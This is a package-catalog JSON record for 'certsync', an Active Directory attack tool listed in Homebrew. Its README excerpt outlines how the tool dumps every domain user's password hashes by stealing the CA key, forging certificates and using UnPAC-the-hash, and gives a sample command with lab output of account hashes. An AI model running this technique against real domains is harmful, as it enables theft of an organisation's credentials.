certsync

{
  "aliases": [],
  "alternatives": [],
  "build_dependencies": [],
  "categories": [],
  "caveats": null,
  "conflicts_with": [],
  "dependencies": [
    "certifi",
    "cryptography",
    "python@3.14"
  ],
  "deprecated": 0,
  "deprecation_reason": null,
  "desc": "Dump NTDS with golden certificates and UnPAC the hash",
  "disable_reason": null,
  "disabled": 0,
  "enrichment_fetched_at": "2026-06-20T23:36:16+00:00",
  "first_seen": "2026-06-20T23:34:18+00:00",
  "full_name": "certsync",
  "github_default_branch": "main",
  "github_last_commit_at": "2024-03-20T10:58:15Z",
  "github_readme_excerpt": "# certsync\n\n`certsync` is a new technique in order to dump NTDS remotely, but this time **without DRSUAPI**: it uses [golden certificate](https://www.thehacker.recipes/ad/persistence/ad-cs/golden-certificate) and [UnPAC the hash](https://www.thehacker.recipes/ad/movement/kerberos/unpac-the-hash).\nIt works in several steps:\n\n1. Dump user list, CA informations and CRL from LDAP\n2. Dump CA certificate and private key\n3. Forge offline a certificate for every user\n4. UnPAC the hash for every user in order to get nt and lm hashes\n\n```text\n$ certsync -u khal.drogo -p \u0027horse\u0027 -d essos.local -dc-ip 192.168.56.12 -ns 192.168.56.12\n[*] Collecting userlist, CA info and CRL on LDAP\n[*] Found 13 users in LDAP\n[*] Found CA ESSOS-CA on braavos.essos.local(192.168.56.23)\n[*] Dumping CA certificate and private key\n[*] Forging certificates for every users. This can take some time...\n[*] PKINIT + UnPAC the hashes\nESSOS.LOCAL/BRAAVOS$:1104:aad3b435b51404eeaad3b435b51404ee:08083254c2fd4079e273c6c783abfbb7:::\nESSOS.LOCAL/MEEREEN$:1001:aad3b435b51404eeaad3b435b51404ee:b79758e15b7870d28ad0769dfc784ca4:::\nESSOS.LOCAL/sql_svc:1114:aad3b435b51404eeaad3b435b51404ee:84a5092f53390ea48d660be52b93b804:::\nESSOS.LOCAL/jorah.mormont:1113:aad3b435b51404eeaad3b435b51404ee:4d737ec9ecf0b9955a161773cfed9611:::\nESSOS.LOCAL/khal.drogo:1112:aad3b435b51404eeaad3b435b51404ee:739120ebc4dd940310bc4bb5c9d37021:::\nESSOS.LOCAL/viserys.targaryen:1111:aad3b435b51404eeaad3b435b51404ee:d96a55df6bef5e0b4d6d956088036097:::\nESSOS.LOCAL/daenerys.targaryen:1110:aad3b435b51404eeaad3b435b51404ee:34534854d33b398b66684072224bb47a:::\nESSOS.LOCAL/SEVENKINGDOMS$:1105:aad3b435b51404eeaad3b435b51404ee:b63b6ef2caab52ffcb26b3870dc0c4db:::\nESSOS.LOCAL/vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::\nESSOS.LOCAL/Administrator:500:aad3b435b51404eeaad3b435b51404ee:54296a48cd30259cc88095373cec24da:::\n```\n\nContrary to what we may think, the attack is not at all slower.\n\n## Table of Contents\n\n- [certsync](#cer",
  "github_repo": "zblurx/certsync",
  "github_stars": 651,
  "github_topics": [],
  "homepage": "https://github.com/zblurx/certsync",
  "homepage_og_description": null,
  "homepage_og_image": null,
  "homepage_title": null,
  "installs_30d": 38,
  "installs_365d": 388,
  "installs_90d": 112,
  "keg_only": 0,
  "keg_only_reason": null,
  "last_seen": "2026-06-20T23:34:18+00:00",
  "license": "MIT",
  "llm_generated_at": null,
  "llm_model": null,
  "name": "certsync",
  "oldnames": [],
  "one_liner": null,
  "optional_dependencies": [],
  "rank_30d": 5264,
  "rank_365d": 5686,
  "rank_90d": 5337,
  "raw_hash": "bc6ef135472b4a07",
  "recommended_dependencies": [],
  "revision": 10,
  "ruby_source_path": "Formula/c/certsync.rb",
  "tap": "homebrew/core",
  "test_dependencies": [],
  "uses_from_macos": [
    "libffi"
  ],
  "version_head": null,
  "version_stable": "0.1.6",
  "versioned_formulae": [],
  "why_use_this": null
}